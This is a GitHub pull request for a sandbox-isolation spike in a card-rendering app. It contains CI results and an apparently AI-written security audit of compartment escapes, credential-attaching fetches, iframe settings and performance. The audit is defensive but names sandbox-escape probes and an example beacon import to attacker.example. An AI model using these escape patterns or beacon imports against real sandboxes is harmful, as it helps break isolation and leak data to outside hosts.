[DO NOT MERGE] Codex/realm isolation ses spike

[habdelra]

No description provided.

[github-actions]

Preview deployments

• Host staging preview

• Host production preview

Host Test Results

    1 files      1 suites   2h 36m 18s ⏱️
3 835 tests 2 981 ✅ 14 💤   0 ❌ 840 🔥
3 854 runs  2 160 ✅ 14 💤 840 ❌ 840 🔥

Results for commit 5b09fa4.

For more details on these errors, see this check.

Realm Server Test Results

    1 files      1 suites   12m 8s ⏱️
2 032 tests 1 809 ✅ 0 💤 223 ❌
2 111 runs  1 879 ✅ 0 💤 232 ❌

Results for commit 5b09fa4.

For more details on these errors, see this check.

[habdelra]

[Claude Code 🤖] Evaluation of this spike against the security audit it responds to. Findings below were verified against the branch — code citations are file:line, and the runtime behavior was exercised in Chrome against the compartment runtime rather than inferred.

Summary

The spike is a real proof that an unmodified card can render with no ambient authority, and the containment it implements holds under adversarial probing — the standard SES escape routes are all closed. The gaps are in coverage, resource limits, invalidation, and compatibility rather than in the compartment mechanism itself.

Measured against the audit's thirteen acceptance criteria, one is fully met (external packages version- and integrity-pinned) and two are substantially met (no live Ember/store/card/DOM object crosses into a compartment; cross-realm reads are authorized under the user's principal). The rest are open.

What holds

Hostile module source driven through RealmCompartmentModuleRuntime cannot reach host authority:

Probe	Result
window, localStorage, fetch, XMLHttpRequest, WebSocket, Worker, indexedDB, navigator	all undefined
(function(){}).constructor('return globalThis')() plus array / async / generator variants	all throw on SES's inert Function
Same escape via an endowed host function (document.addEventListener.constructor)	throws
Direct eval in card source	module refused at evaluation, SES_EVAL_REJECTED
import.meta	{url} only; loader authority stripped
Object.prototype / Array.prototype mutation	blocked, host intrinsics unpolluted

The strongest design decision here is that trusted imports are inert tokens rather than real modules. A card importing CardDef receives a synthetic SandboxCardDef carrying only length/name/prototype; @cardstack/boxel-ui exports arrive as stubs named SandboxTrustedExport, and the host maps those identities back when it reconstructs the template. Card code never holds a live host class. That is a cleaner boundary than a proxy membrane, and it is why the escape surface is as small as it is.

lockdown({ evalTaming: 'unsafe-eval' }) is not an escape: it leaves only the start compartment's evaluators intact, and guest compartments still receive confined ones. overrideTaming: 'severe' is documented in SES itself as a compatibility and performance tradeoff, not a safety one.

The loader refactor stands on its own merits. eval is factored into a pluggable ModuleEvaluator (packages/runtime-common/loader.ts:124-140), moduleMeta strips import.meta.loader, and moduleDelegate keeps one Base module graph so CardDef identity cannot fork across realms.

Coverage

Sandboxing engages for cards the Store deserializes and CardRenderer renders. There are no changes under packages/realm-server, packages/ai-bot, or packages/boxel-cli.

Still evaluating realm-authored code in a trusted JS realm: indexing, prerendering, the /render route, code-mode module and schema analysis, playground and spec previews, the fitted-format gallery, catalog and installation flows, AI command execution, chat file attachments, developer tools, and boxel test. packages/host/app/routes/render.ts:535 is unchanged and still resolves the card type through the ordinary loader, so every index visit runs realm module top-level code with full page authority. This is the audit's section on inconsistent evaluation paths, and its Priority 6.

Two bypasses sit inside Interact mode itself:

• Creating a new card — packages/host/app/components/operator-mode/interact-submode.gts:243 calls loadCardDef(..., { loader: this.loaderService.loader }) then new CardKlass(). StoreService#add takes live instances verbatim with no guard (packages/host/app/services/store.ts:700-709), so the card renders unsandboxed for the rest of the session.
• StoreService#reloadInstance — packages/host/app/services/store.ts:3107 does the same on any realm-push invalidation where the type changed.

Both make docs/realm-isolation-ses-spike.md's "no security fallback to evaluating the realm module in the host" inaccurate as written.

Compartment tier findings

No resource limits, and the default tier is on the main thread. Card code occupied the event loop with zero host timer ticks during the spin. There is no termination path. The worker tier that would provide one is opt-in and cannot run stateful cards.

Module fetch is a confused deputy. packages/host/app/services/realm-sandbox.ts:1447 calls network.authedFetch(url) and only afterwards checks for x-boxel-realm-url. packages/runtime-common/authorization-middleware.ts:26-31 attaches the token up front by prefix-matching every realm the user holds a session for, so the comment at the call site describing credentials as granted only on a realm challenge does not match the middleware. Practical effect: a card can make the host issue an authenticated GET to any realm the user can read, and an unauthenticated GET to any origin. A literal import 'https://attacker.example/collect?beacon=...' reaches the fetch layer. Specifiers are literals, so this is a beacon rather than general exfiltration, but there is no allowlist in front of it.

TRUSTED_CARD_REALM_URLS matches by bare prefix (packages/host/app/services/realm-sandbox.ts:328-346). A value of https:// would disable the sandbox globally. Nothing sets it today; worth a well-formedness check.

Iframe tier

REALM_SANDBOX_IFRAME_ORIGIN is set nowhere in the repo, and iframeSandboxOrigin() (packages/host/app/services/realm-sandbox.ts:689-703) returns undefined for any non-loopback hostname. iframeRenderFor bails on a falsy origin (:564), so on a hosted deploy the tier never activates and ?cardSandboxTier=iframe silently falls back to the compartment tier. The audit's iframe-on-an-isolated-origin recommendation for DOM/canvas/WebGL packages is therefore demonstrated locally but has no deployable configuration.

Items to resolve before enabling it:

• sandbox='allow-downloads allow-scripts allow-same-origin' (packages/host/app/components/realm-sandbox-iframe.gts:194). Even with a genuinely distinct origin, allow-same-origin gives the child a real origin with localStorage, IndexedDB, cookies, the Cache API, and navigator.serviceWorker instead of an opaque one. All sandboxed cards share that origin.
• /_realm-sandbox-frame is an ordinary route in the same Ember app, so the child boots every instance initializer, including register-auth-service-worker.ts, which registers a token-dispensing service worker at scope /.
• No CSP on the frame route.
• No SES in the child. createDetachedLoader builds a Loader with no moduleEvaluator, so card source goes through the default eval(source) and the iframe is the only boundary.
• Prefer a separate registrable domain over a subdomain, so cookies scoped to the parent domain do not reach it. credentialless is Chromium-only and is applied in the connectFrame modifier after src is already set.
• The 127.0.0.1 branch at :699 returns the parent's own origin. Dev-only, but worth a guard so a local session cannot look isolated when it is not.

Cross-loader invalidation

The topology is now baseLoader, host loader, one loader per trusted realm, one private Loader per SES principal, one per code preview, plus detached iframe loaders. replaceLoaderGraphs() handles the trusted set correctly — coarse, but it disposes and rebuilds them together.

The compartments are not in that set:

• LoaderService#allLoaders() returns [host, base, ...realmLoaders]. Compartment loaders live in RealmSandboxService, so the service cannot see them.
• The gate on source write is if (options?.resetLoader && this.loaderService.isModuleLoaded(url.href)) (packages/host/app/services/card-service.ts:292). For a sandboxed card the module is deliberately absent from the host loader, so isModuleLoaded returns false and the reset never fires.
• Even when it does fire, replaceLoaderGraphs() does not touch compartmentRuntimes, which are cleared only in willDestroy(). The single invalidateModule call site (packages/host/app/services/realm-sandbox.ts:1357) is on the private code-preview loader.
• RealmSandboxService subscribes to no realm events or invalidations.

Net: editing a sandboxed card, or another client changing it, leaves the evaluated module live in that principal's compartment for the rest of the session. Cross-realm compounds it, since realm A's compartment holds its own copy of realm B's module and neither invalidates. Code-mode preview is unaffected because it has its own path.

Performance and caching

No benchmark, perf test, or memory baseline is added or run on this branch, including bench-amd, which measures the AMD eval path being rerouted.

• lockdown() is page-wide, permanent, and fires lazily inside a card deserialize rather than at boot. Roughly 18ms for the call, plus a standing cost on all page JS afterwards — on the order of 16% on Object.keys loops, 31% on array chains, and 16× on the prototype-shadowing pattern overrideTaming: 'severe' enables, which is what Monaco does. Ember, Glimmer, and Monaco pay this, not only card code. ses is also 233KB minified in the main chunk.
• cloneIntoCompartment (packages/host/app/lib/realm-compartment-module-runtime.ts:791) compiles a fresh JS program per call with the payload embedded in the source, so V8's compilation cache never hits — roughly 10× versus re-evaluating identical source, 3.3× a plain JSON round trip, with a fixed floor even for {}. It runs per component mount and per action, synchronously in render. Endowing a parse function once removes this.
• Roughly three JSON.stringify and two JSON.parse of the model per component mount, and three separate parses of every template block per build.
• Nothing is evicted. Compartments, module graphs, opaque card types, themes, and workers accumulate for the session; the LRU in the doc is a proposal. The content-hash compile cache in the architecture diagram does not exist.
• Loader resets are now N+1×: every source write rebuilds Base plus host plus every open realm's graph.
• Code mode has no debounce, so every text-changing keystroke is a guaranteed template-cache miss driving re-evaluation and a fresh Glimmer class.
• The shared compartmentRevision tracked counter appears to make first paint of a card list O(M²) in renderFor calls.

What keeps the added loaders from being an N× bandwidth multiplier is the shared cachedFetch singleton, which is now cross-principal with an unchanged, principal-free cache key. Worth a look independently.

Card compatibility

Inside the compartment: Date.now() throws, new Date() with no arguments throws, and setTimeout, performance, Intl, crypto, TextEncoder, URL, and structuredClone are all undefined. Math.random is restored through a crypto-backed facade in the service path. No timers means no debounce, animation, or async scheduling; no Intl means no locale date or number formatting.

From the branch's own corpus audit: {{on}} (105 files), @tracked (94), @action (33), commandContext (18), restartableTask (17) are unimplemented, and set is a no-op, so edit renders but cannot write.

Dynamic import deserves specific attention because it is supported today. The transpiler rewrites await import(x) into import.meta.loader.import(...), so SES censorship never sees it. The card loads successfully and then throws Cannot read properties of undefined (reading 'import') when the path executes, because import.meta.loader is stripped. That is a runtime TypeError with no indication that a sandbox policy denied it.

Error reporting

loadCardTypeMetadata catches every error, records a counter, and returns undefined (packages/host/app/services/realm-sandbox.ts:1059-1066). A card with a broken module or an unsupported import renders the generic Base template with no visible indication anything failed; the reason lands in a hidden [data-card-sandbox-diagnostics] element, which is a test affordance rather than an author-facing surface.

Relative to the current behavior, an author loses the lastKnownGoodHtml degraded-render treatment that signals staleness, "Fix with AI" with the source file attached, and the deps-driven recovery edge where fixing an upstream module clears the error — a card that indexes as a successful generic card never gets that edge. Boundary errors are also field-anonymous: "Sandbox boundary contains a non-JSON value" does not say which field.

Two things that are parity rather than regression: stack line-number fidelity was already lossy because the realm server emits no source map, and neither the current code nor this branch has an error boundary, so a throwing getter behaves the same. err.stack going empty page-wide under lockdown is new.

Worth verifying

StoreService.createFromSerialized is changed and the prerender tab uses it, so the tab may now hydrate untrusted cards as opaque records, which could change what the meta visit derives for _cardType/types. This was not executed, so it is a plausible interaction between a modified store and an unmodified indexer rather than a confirmed break. It is cheap to test and worth doing before building further on this.

Suggested order

1. Register compartment loaders with LoaderService so isModuleLoaded and the reset path can see them; otherwise sandboxed cards go stale on every edit.
2. Close the two Interact-mode bypasses.
3. Put an allowlist in front of the module fetch brokers, scoped to the calling principal, and stop attaching tokens for realms other than the caller's.
4. Decide whether the default tier stays on the main thread. Without termination, one card can freeze the tab.
5. Give card authors a visible, actionable failure surface instead of a silent generic render.
6. Before enabling the iframe tier: drop allow-same-origin, add a CSP, and give the child a dedicated entry point rather than the full app router.

Separately, /_realm-isolation-spike and /_realm-sandbox-frame are registered unconditionally in packages/host/app/router.ts, so a production build ships the demo template, the spike lib, and a 579KB asset under packages/host/public/assets/realm-isolation-spike/. /_realm-isolation-spike is publicly routable and provisions realms on the signed-in account. Cleanup rather than a vulnerability, and /_freestyle sets a precedent, but this one has side effects.

Probe tests

The containment results above come from a QUnit module that drives hostile source through the same runtime a card takes. It asserts the containment invariants so a regression fails loudly, and separately pins three current gaps — the arbitrary-origin fetch, the dynamic-import TypeError, and main-thread occupancy — so that closing one also fails the test rather than passing unnoticed. It runs green alongside the existing sandbox suite. Available to add to this branch on request.